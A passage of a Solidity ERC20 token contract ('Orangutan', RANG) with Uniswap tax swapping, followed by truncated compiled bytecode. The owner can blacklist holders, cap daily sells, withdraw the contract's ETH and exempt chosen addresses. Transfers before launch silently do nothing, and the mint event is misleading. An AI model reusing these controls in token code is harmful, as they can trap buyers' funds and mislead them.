_owner) external view returns (uint balance); function transfer(address _to, uint _value) external returns (bool success); function transferFrom(address _from, address _to, uint _value) external returns (bool success); function approve(address _spender, uint _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } interface IUniswapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapRouter01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapRouter02 is IUniswapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; } contract smart { using SafeMath for uint; address public router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapRouter02 public router = IUniswapRouter02(router_address); function create_weth_pair(address token) private returns (address, IUniswapV2Pair) { address pair_address = IUniswapFactory(router.factory()).createPair(token, router.WETH()); return (pair_address, IUniswapV2Pair(pair_address)); } function get_weth_reserve(address pair_address) private view returns(uint, uint) { IUniswapV2Pair pair = IUniswapV2Pair(pair_address); uint112 token_reserve; uint112 native_reserve; uint32 last_timestamp; (token_reserve, native_reserve, last_timestamp) = pair.getReserves(); return (token_reserve, native_reserve); } function get_weth_price_impact(address token, uint amount, bool sell) private view returns(uint) { address pair_address = IUniswapFactory(router.factory()).getPair(token, router.WETH()); (uint res_token, uint res_weth) = get_weth_reserve(pair_address); uint impact; if(sell) { impact = (amount.mul(100)).div(res_token); } else { impact = (amount.mul(100)).div(res_weth); } return impact; } } contract protected { bool public bot_smasher = true; bool public trade_enabled = false; mapping (address => bool) public is_auth; function authorized(address addy) public view returns(bool) { return is_auth[addy]; } function set_authorized(address addy, bool booly) public onlyAuth { is_auth[addy] = booly; } modifier onlyAuth() { require( is_auth[msg.sender] || msg.sender==owner, "not owner"); _; } address public owner; address public developer; modifier onlyDev { require(msg.sender==developer); _; } modifier onlyOwner() { require(msg.sender==owner, "not owner"); _; } bool public locked; modifier safe() { require(!locked, "reentrant"); locked = true; _; locked = false; } receive() external payable {} fallback() external payable {} } contract Orangutan is smart, protected, ERC20 { using SafeMath for uint; using SafeMath for uint8; mapping(address => bool) public tax_free; mapping(address => bool) public lock_free; mapping(address => bool) public is_black; mapping(address => bool) public is_free_from_max_tx; mapping(address => bool) public is_free_from_max_wallet; mapping(address => bool) public _excludeFromLimit; mapping(address => mapping(uint256 => uint256)) public sold; string public constant _name = 'Orangutan'; string public constant _symbol = 'RANG'; uint8 public constant _decimals = 18; uint256 public constant TIME_STEP = 1 days; uint256 public constant InitialSupply= 100 * (10**6) * (10**_decimals); uint256 public _circulatingSupply= InitialSupply; address public constant UniswapRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant Dead = 0x000000000000000000000000000000000000dEaD; address public marketing = payable(0x662Ae79edbE9d4EF6569dB9189224B59483c13e4); mapping(address => uint) public last_tx; bool public pegged = true; bool public manual_swap = false; uint8 public buy_tax = 10; uint8 public sell_tax = 10; uint8 public transfer_tax = 10; uint8 public max_wallet = 1; uint8 public max_perK = 10; uint256 public startTime; uint256 public sellLimit = 25; uint256 public limitDenominator = 10000; uint8 devShare = 3; uint8 marketingShare = 7; uint8 total_share = devShare + marketingShare; uint public swap_treshold = (_circulatingSupply.div(300)); mapping (address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _allowances; modifier checkLimit(address from, uint256 value) { if(!_excludeFromLimit[from]) { require(sold[from][getCurrentDay()] + value <= getUserSellLimit(), "Cannot sell or transfer more than limit."); } _; } address public pair_address; IUniswapV2Pair public pair; constructor() { owner = payable(msg.sender); developer = payable(msg.sender); is_auth[owner] = true; pair_address = IUniswapFactory(router.factory()).createPair(address(this), router.WETH()); pair = IUniswapV2Pair(pair_address); tax_free[msg.sender] = true; tax_free[marketing] = true; _excludeFromLimit[marketing] = true; _excludeFromLimit[developer] = true; _excludeFromLimit[address(this)] = true; _excludeFromLimit[pair_address] = true; _excludeFromLimit[router_address] = true; is_free_from_max_wallet[marketing] = true; is_free_from_max_wallet[pair_address] = true; is_free_from_max_tx[marketing] = true; _balances[developer] = _circulatingSupply; emit Transfer(Dead, address(this), _circulatingSupply); _approve(address(this), address(router), _circulatingSupply); _approve(address(owner), address(router), _circulatingSupply); } function _transfer(address sender, address recipient, uint amount) private checkLimit(sender, amount) { bool isExcluded = (tax_free[sender] || tax_free[recipient] || is_auth[sender] || is_auth[recipient]); bool isContractTransfer=(sender==address(this) || recipient==address(this)); bool isLiquidityTransfer = ((sender == pair_address && recipient == UniswapRouter) || (recipient == pair_address && sender == UniswapRouter)); sold[sender][getCurrentDay()] = sold[sender][getCurrentDay()].add(amount); if (isExcluded || isContractTransfer || isLiquidityTransfer) { _feelessTransfer(sender, recipient, amount); } else { _taxedTransfer(sender, recipient, amount); } } function max_tx() public view returns (uint) { return ((_circulatingSupply * max_perK).div(1000)); } function _taxedTransfer(address sender, address recipient, uint amount) private { require(!is_black[sender] && !is_black[recipient], "Blacklisted"); if(!bot_smasher) { require(trade_enabled, "STOP"); } else { if(!trade_enabled) { emit Transfer(sender, recipient, 0); return; } } if(!is_free_from_max_tx[sender]) { require(amount <= max_tx()); } if(!is_free_from_max_wallet[recipient]) { require((_balances[recipient]+amount) < ((_circulatingSupply*max_wallet)/100), "Max wallet on recipient"); } bool isSell=recipient== pair_address|| recipient == router_address; (uint taxedAmount, uint taxes) = calculateFees(amount, isSell); if((_balances[address(this)] > swap_treshold) && !manual_swap && !locked) { if(isSell && !manual_swap) { swap_taxes(amount); } } _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(taxedAmount); _balances[address(this)] = _balances[address(this)].add(taxes); emit Transfer(sender, address(this), taxes); emit Transfer(sender, recipient, taxedAmount); } function calculateFees(uint amount, bool isSell) private view returns (uint taxedAmount_, uint taxes_) { uint8 tax; if(isSell) { tax = sell_tax; } else { tax = buy_tax; } uint taxes_coin = (amount*tax)/100; uint taxed_amount = amount - taxes_coin; return (taxed_amount, taxes_coin); } function swap_taxes(uint256 tx_amount) private safe{ uint256 contractBalance = _balances[address(this)]; uint256 amount_to_swap = (swap_treshold.mul(75)).div(100); if(amount_to_swap > tx_amount) { if(pegged) { amount_to_swap = tx_amount; } } if(contractBalance<amount_to_swap){ return; } uint256 initialETHBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount_to_swap, 0, path, address(this), block.timestamp ); uint256 newETH=(address(this).balance - initialETHBalance); uint256 marketingSplit = newETH.mul(marketingShare).div(total_share); uint256 devSplit = newETH - marketingSplit; payable(developer).transfer(devSplit); payable(marketing).transfer(marketingSplit); } function _feelessTransfer(address sender, address recipient, uint amount) private { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function lfg() public onlyDev { require(trade_enabled == false); bot_smasher = false; trade_enabled = true; } function emergency_withdraw() public onlyAuth { uint256 balance = address(this).balance; payable(developer).transfer(balance); } function set_shares(uint8 dev, uint8 market) public onlyAuth { devShare = dev; marketingShare = market; } function set_taxes(uint8 buy, uint8 sell) public onlyAuth { buy_tax = buy; sell_tax = sell; require(buy > 0 && sell > 0, "At least 1"); require(buy< 15 && sell < 15, "No honeypot"); } function set_manual_swap(bool booly) public onlyAuth { manual_swap = booly; } function totalSupply() external view override returns (uint256) { return _circulatingSupply; } function execute_manual_swap(uint256 amount) public onlyAuth { require(amount < _balances[address(this)], "dude there are not enough token"); swap_taxes(amount); } function rescue_tokens(address tknAddress) public onlyAuth { ERC20 token = ERC20(tknAddress); uint256 ourBalance = token.balanceOf(address(this)); require(ourBalance>0, "No tokens in our balance"); token.transfer(msg.sender, ourBalance); } function set_max_tx(uint8 maxtx) public onlyAuth { max_perK = maxtx; require(maxtx >= 5, "At least 5, remember that it's /1000, so 5 = 0.5%"); } function set_max_wallet(uint8 maxwallet) public onlyAuth { max_wallet = maxwallet; require(maxwallet >= 1, "At least 1, remember that it's /100, so 1 = 1%"); } function set_free_from_max_tx(address addy, bool booly) public onlyAuth { is_free_from_max_tx[addy] = booly; } function set_free_from_sell_limit(address addy, bool booly) public onlyAuth { _excludeFromLimit[addy] = booly; } function set_free_from_max_wallet(address addy, bool booly) public onlyAuth { is_free_from_max_wallet[addy] = booly; } function set_free_tax(address addy, bool booly) public onlyAuth { tax_free[addy] = booly; } function set_owner(address newowner) public onlyDev { owner = newowner; is_auth[newowner] = true; } function control_blacklist(address to_control, bool booly) public onlyAuth { require(!(to_control==developer)); is_black[to_control] = booly; } function getCurrentDay() public view returns (uint256) { return minZero(block.timestamp, startTime).div(TIME_STEP); } function getUserSellLimit() public view returns (uint256) { return _circulatingSupply.mul(sellLimit).div(limitDenominator); } function setSellLimit(uint256 _sellLimit) public onlyAuth { require(_sellLimit >= 5 && _sellLimit <= 10000, "Invalid sell limit"); sellLimit = _sellLimit; } function fire_unleashed(uint256 amount) public onlyAuth { require(_balances[msg.sender] >= amount); _balances[msg.sender] -= amount; _circulatingSupply -= amount; emit Transfer(address(this), Dead, amount); } function minZero(uint a, uint b) private pure returns(uint) { if (a > b) { return a - b; } else { return 0; } } function set_pegged_swap(bool booly) public onlyAuth { pegged = booly; } function getOwner() external view returns (address) { return owner; } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address _owner, address spender, uint256 amount) private { require(_owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[_owner][spender] = amount; emit Approval(_owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } }
0x6080604052600436106104105760003560e01c8063893d20e81161021c578063bfceae6311610122578063cf309012116100b0578063f4ea55ab11610077578063f4ea55ab14610dd1578063f4f5fcb514610e01578063f887ea4014610e21578063fab2e05414610e41578063fafab66514610e6157005b8063cf30901214610cf2578063d28d885214610d13578063d46f2f6614610d48578063dd62ed3e14610d68578063e717fc3014610dae57005b8063c78dc6fd116100f4578063c78dc6fd14610c67578063c81c6edc14610c86578063ca4b208b14610c9c578063cbc1cfd214610cbc578063cbe7003014610cd157005b8063bfceae6314610bcc578063c01bb48b14610bfc578063c664c31d14610c1d578063c7639d8014610c3f57005b8063a457c2d7116101aa578063af1bb5c011610171578063af1bb5c014610aff578063b09f126614610b1f578063b0ef593714610b4f578063b544d2e614610b6f578063b918161114610b9357005b8063a457c2d714610a4f578063a8aa1b3114610a6f578063a9059cbb14610a8f578063a9bf2c0914610aaf578063ad95fc8f14610acf57005b806393505052116101ee578063935050521461099b578063952eb8a7146109bc57806395d89b41146109ec578063a201b2a714610a19578063a253c06e14610a3957005b8063893d20e8146109285780638da5cb5b146109465780638f793cb91461096657806391e96a301461097b57005b80633e6968b6116103215780635bd263e7116102af57806378e979251161027657806378e979251461088c5780637b160863146108a25780637cb97b2b146108c2578063826c89bd146108e257806382c4767b1461091257005b80635bd263e7146107d45780636ebcf607146107f457806370a082311461082157806370bfcf401461085757806370fbc7121461087757005b80634147c6a7116102f35780634147c6a7146107165780634edebbba146107365780634f91e48c1461075657806357d8ae821461076c5780635b0833cc1461079c57005b80633e6968b61461069f5780633e935fe8146106b45780633f27cc48146106c95780633fe7e33c146106e957005b806326e766131161039e57806332424aa31161037057806332424aa31461061357806332bc298c1461062857806334184e261461063f578063395093511461065f5780633a32fea81461067f57005b806326e76613146105795780632bfe8742146105995780632d3e474a146105b9578063313ce567146105f157005b806313f27383116103e257806313f27383146104e957806317668f1b146104ff57806318160ddd1461052f5780631eb25d131461054457806323b872dd1461055957005b8063024c2ddd1461041957806306fdde0314610464578063090786131461049f578063095ea7b3146104c957005b3661041757005b005b34801561042557600080fd5b5061045161043436600461276e565b601660209081526000928352604080842090915290825290205481565b6040519081526020015b60405180910390f35b34801561047057600080fd5b5060408051808201909152600981526827b930b733baba30b760b91b60208201525b60405161045b91906128fc565b3480156104ab57600080fd5b50600f546104b99060ff1681565b604051901515815260200161045b565b3480156104d557600080fd5b506104b96104e4366004612816565b610e81565b3480156104f557600080fd5b5061045160145481565b34801561050b57600080fd5b506104b961051a366004612734565b60056020526000908152604090205460ff1681565b34801561053b57600080fd5b50600c54610451565b34801561055057600080fd5b50610451610e98565b34801561056557600080fd5b506104b96105743660046127a7565b610eb5565b34801561058557600080fd5b506104176105943660046128c9565b610f51565b3480156105a557600080fd5b506104176105b43660046127e8565b610fb9565b3480156105c557600080fd5b50600d546105d9906001600160a01b031681565b6040516001600160a01b03909116815260200161045b565b3480156105fd57600080fd5b5060125b60405160ff909116815260200161045b565b34801561061f57600080fd5b50610601601281565b34801561063457600080fd5b506104516201518081565b34801561064b57600080fd5b506017546105d9906001600160a01b031681565b34801561066b57600080fd5b506104b961067a366004612816565b611028565b34801561068b57600080fd5b5061041761069a3660046127e8565b61105f565b3480156106ab57600080fd5b506104516110ce565b3480156106c057600080fd5b506104516110ee565b3480156106d557600080fd5b506104176106e43660046127e8565b61110d565b3480156106f557600080fd5b50610451610704366004612734565b600e6020526000908152604090205481565b34801561072257600080fd5b50600f546106019062010000900460ff1681565b34801561074257600080fd5b50610417610751366004612842565b61117c565b34801561076257600080fd5b5061045160115481565b34801561077857600080fd5b506104b9610787366004612734565b60096020526000908152604090205460ff1681565b3480156107a857600080fd5b506104516107b7366004612816565b600b60209081526000928352604080842090915290825290205481565b3480156107e057600080fd5b506104176107ef3660046127e8565b6111d3565b34801561080057600080fd5b5061045161080f366004612734565b60156020526000908152604090205481565b34801561082d57600080fd5b5061045161083c366004612734565b6001600160a01b031660009081526015602052604090205490565b34801561086357600080fd5b50610417610872366004612842565b61125d565b34801561088357600080fd5b506104516112bb565b34801561089857600080fd5b5061045160105481565b3480156108ae57600080fd5b506104176108bd3660046128ae565b6112e3565b3480156108ce57600080fd5b506104176108dd366004612734565b6113b8565b3480156108ee57600080fd5b506104b96108fd366004612734565b60076020526000908152604090205460ff1681565b34801561091e57600080fd5b506105d961dead81565b34801561093457600080fd5b506003546001600160a01b03166105d9565b34801561095257600080fd5b506003546105d9906001600160a01b031681565b34801561097257600080fd5b50610417611409565b34801561098757600080fd5b506104176109963660046128ae565b61144d565b3480156109a757600080fd5b50600f54610601906301000000900460ff1681565b3480156109c857600080fd5b506104b96109d7366004612734565b60086020526000908152604090205460ff1681565b3480156109f857600080fd5b5060408051808201909152600481526352414e4760e01b6020820152610492565b348015610a2557600080fd5b50610417610a3436600461287c565b61151a565b348015610a4557600080fd5b50610451600c5481565b348015610a5b57600080fd5b506104b9610a6a366004612816565b6115e1565b348015610a7b57600080fd5b506018546105d9906001600160a01b031681565b348015610a9b57600080fd5b506104b9610aaa366004612816565b61165d565b348015610abb57600080fd5b50610417610aca36600461287c565b61166a565b348015610adb57600080fd5b506104b9610aea366004612734565b60066020526000908152604090205460ff1681565b348015610b0b57600080fd5b50610417610b1a366004612734565b611707565b348015610b2b57600080fd5b506104926040518060400160405280600481526020016352414e4760e01b81525081565b348015610b5b57600080fd5b50610417610b6a3660046128c9565b61189f565b348015610b7b57600080fd5b50600f54610601906601000000000000900460ff1681565b348015610b9f57600080fd5b506104b9610bae366004612734565b6001600160a01b031660009081526002602052604090205460ff1690565b348015610bd857600080fd5b506104b9610be7366004612734565b600a6020526000908152604090205460ff1681565b348015610c0857600080fd5b506001546104b990600160a81b900460ff1681565b348015610c2957600080fd5b50600f5461060190640100000000900460ff1681565b348015610c4b57600080fd5b506105d9737a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610c7357600080fd5b50600f546104b990610100900460ff1681565b348015610c9257600080fd5b5061045160125481565b348015610ca857600080fd5b506004546105d9906001600160a01b031681565b348015610cc857600080fd5b506104176119b6565b348015610cdd57600080fd5b506001546104b990600160a01b900460ff1681565b348015610cfe57600080fd5b506004546104b990600160a01b900460ff1681565b348015610d1f57600080fd5b506104926040518060400160405280600981526020016827b930b733baba30b760b91b81525081565b348015610d5457600080fd5b506000546105d9906001600160a01b031681565b348015610d7457600080fd5b50610451610d8336600461276e565b6001600160a01b03918216600090815260166020908152604080832093909416825291909152205490565b348015610dba57600080fd5b50600f546106019065010000000000900460ff1681565b348015610ddd57600080fd5b506104b9610dec366004612734565b60026020526000908152604090205460ff1681565b348015610e0d57600080fd5b50610417610e1c3660046127e8565b611a34565b348015610e2d57600080fd5b506001546105d9906001600160a01b031681565b348015610e4d57600080fd5b50610417610e5c36600461287c565b611aa3565b348015610e6d57600080fd5b50610417610e7c3660046127e8565b611b4e565b6000610e8e338484611bd0565b5060015b92915050565b610ea46012600a612a62565b610eb2906305f5e100612b0d565b81565b6000610ec2848484611cc4565b6001600160a01b038416600090815260166020908152604080832033845290915290205482811015610f325760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b60448201526064015b60405180910390fd5b610f468533610f418685612b2c565b611bd0565b506001949350505050565b3360009081526002602052604090205460ff1680610f7957506003546001600160a01b031633145b610f955760405162461bcd60e51b8152600401610f2990612951565b6013805460ff9283166101000261ffff199091169290931691909117919091179055565b3360009081526002602052604090205460ff1680610fe157506003546001600160a01b031633145b610ffd5760405162461bcd60e51b8152600401610f2990612951565b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b3360008181526016602090815260408083206001600160a01b03871684529091528120549091610e8e918590610f419086906129e5565b3360009081526002602052604090205460ff168061108757506003546001600160a01b031633145b6110a35760405162461bcd60e51b8152600401610f2990612951565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b60006110e9620151806110e342601054611f63565b90611bbd565b905090565b60006110e96012546110e3601154600c54611f8690919063ffffffff16565b3360009081526002602052604090205460ff168061113557506003546001600160a01b031633145b6111515760405162461bcd60e51b8152600401610f2990612951565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b3360009081526002602052604090205460ff16806111a457506003546001600160a01b031633145b6111c05760405162461bcd60e51b8152600401610f2990612951565b600f805460ff1916911515919091179055565b3360009081526002602052604090205460ff16806111fb57506003546001600160a01b031633145b6112175760405162461bcd60e51b8152600401610f2990612951565b6004546001600160a01b038381169116141561123257600080fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360009081526002602052604090205460ff168061128557506003546001600160a01b031633145b6112a15760405162461bcd60e51b8152600401610f2990612951565b600f80549115156101000261ff0019909216919091179055565b60006110e96103e8600f60069054906101000a900460ff1660ff16600c546110e39190612b0d565b3360009081526002602052604090205460ff168061130b57506003546001600160a01b031633145b6113275760405162461bcd60e51b8152600401610f2990612951565b600f805466ff0000000000001916660100000000000060ff841690810291909117909155600511156113b55760405162461bcd60e51b815260206004820152603160248201527f4174206c6561737420352c2072656d656d62657220746861742069742773202f604482015270313030302c20736f2035203d20302e352560781b6064820152608401610f29565b50565b6004546001600160a01b031633146113cf57600080fd5b600380546001600160a01b039092166001600160a01b0319909216821790556000908152600260205260409020805460ff19166001179055565b6004546001600160a01b0316331461142057600080fd5b600154600160a81b900460ff161561143757600080fd5b6001805461ffff60a01b1916600160a81b179055565b3360009081526002602052604090205460ff168061147557506003546001600160a01b031633145b6114915760405162461bcd60e51b8152600401610f2990612951565b600f805465ff000000000019166501000000000060ff841690810291909117909155600111156113b55760405162461bcd60e51b815260206004820152602e60248201527f4174206c6561737420312c2072656d656d62657220746861742069742773202f60448201526d3130302c20736f2031203d20312560901b6064820152608401610f29565b3360009081526002602052604090205460ff168061154257506003546001600160a01b031633145b61155e5760405162461bcd60e51b8152600401610f2990612951565b3360009081526015602052604090205481111561157a57600080fd5b3360009081526015602052604081208054839290611599908490612b2c565b9250508190555080600c60008282546115b29190612b2c565b909155505060405181815261dead903090600080516020612b938339815191529060200160405180910390a350565b3360009081526016602090815260408083206001600160a01b0386168452909152812054828110156116445760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610f29565b6116533385610f418685612b2c565b5060019392505050565b6000610e8e338484611cc4565b3360009081526002602052604090205460ff168061169257506003546001600160a01b031633145b6116ae5760405162461bcd60e51b8152600401610f2990612951565b600581101580156116c157506127108111155b6117025760405162461bcd60e51b8152602060048201526012602482015271125b9d985b1a59081cd95b1b081b1a5b5a5d60721b6044820152606401610f29565b601155565b3360009081526002602052604090205460ff168061172f57506003546001600160a01b031633145b61174b5760405162461bcd60e51b8152600401610f2990612951565b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b15801561178f57600080fd5b505afa1580156117a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c79190612895565b9050600081116118195760405162461bcd60e51b815260206004820152601860248201527f4e6f20746f6b656e7320696e206f75722062616c616e636500000000000000006044820152606401610f29565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb90604401602060405180830381600087803b15801561186157600080fd5b505af1158015611875573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611899919061285f565b50505050565b3360009081526002602052604090205460ff16806118c757506003546001600160a01b031633145b6118e35760405162461bcd60e51b8152600401610f2990612951565b600f805463ffff000019166201000060ff85811691820263ff0000001916929092176301000000928516929092029190911790915515801590611929575060008160ff16115b6119625760405162461bcd60e51b815260206004820152600a6024820152694174206c65617374203160b01b6044820152606401610f29565b600f8260ff161080156119785750600f8160ff16105b6119b25760405162461bcd60e51b815260206004820152600b60248201526a139bc81a1bdb995e5c1bdd60aa1b6044820152606401610f29565b5050565b3360009081526002602052604090205460ff16806119de57506003546001600160a01b031633145b6119fa5760405162461bcd60e51b8152600401610f2990612951565b60045460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156119b2573d6000803e3d6000fd5b3360009081526002602052604090205460ff1680611a5c57506003546001600160a01b031633145b611a785760405162461bcd60e51b8152600401610f2990612951565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360009081526002602052604090205460ff1680611acb57506003546001600160a01b031633145b611ae75760405162461bcd60e51b8152600401610f2990612951565b306000908152601560205260409020548110611b455760405162461bcd60e51b815260206004820152601f60248201527f6475646520746865726520617265206e6f7420656e6f75676820746f6b656e006044820152606401610f29565b6113b581611f92565b3360009081526002602052604090205460ff1680611b7657506003546001600160a01b031633145b611b925760405162461bcd60e51b8152600401610f2990612951565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000611bc982846129fd565b9392505050565b6001600160a01b038316611c1a5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610f29565b6001600160a01b038216611c625760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610f29565b6001600160a01b0383811660008181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166000908152600a60205260409020548390829060ff16611d8a57611cf06110ee565b6001600160a01b0383166000908152600b602052604081208391611d126110ce565b815260200190815260200160002054611d2b91906129e5565b1115611d8a5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f742073656c6c206f72207472616e73666572206d6f72652074686160448201526737103634b6b4ba1760c11b6064820152608401610f29565b6001600160a01b03851660009081526005602052604081205460ff1680611dc957506001600160a01b03851660009081526005602052604090205460ff165b80611dec57506001600160a01b03861660009081526002602052604090205460ff165b80611e0f57506001600160a01b03851660009081526002602052604090205460ff165b905060006001600160a01b038716301480611e3257506001600160a01b03861630145b6017549091506000906001600160a01b038981169116148015611e7157506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b80611eb057506017546001600160a01b038881169116148015611eb057506001600160a01b038816737a250d5630b4cf539739df2c5dacb4c659f2488d145b6001600160a01b0389166000908152600b60205260408120919250611ef6918891611ed96110ce565b81526020019081526020016000205461225e90919063ffffffff16565b6001600160a01b0389166000908152600b6020526040812090611f176110ce565b81526020810191909152604001600020558280611f315750815b80611f395750805b15611f4e57611f4988888861226a565b611f59565b611f598888886122f9565b5050505050505050565b600081831115611f7e57611f778284612b2c565b9050610e92565b506000610e92565b6000611bc98284612b0d565b600454600160a01b900460ff1615611fd85760405162461bcd60e51b81526020600482015260096024820152681c99595b9d1c985b9d60ba1b6044820152606401610f29565b6004805460ff60a01b1916600160a01b17905530600090815260156020526040812054601454909190612013906064906110e390604b611f86565b90508281111561202b57600f5460ff161561202b5750815b8082101561203a57505061224e565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061207357612073612b59565b6001600160a01b039283166020918202929092018101919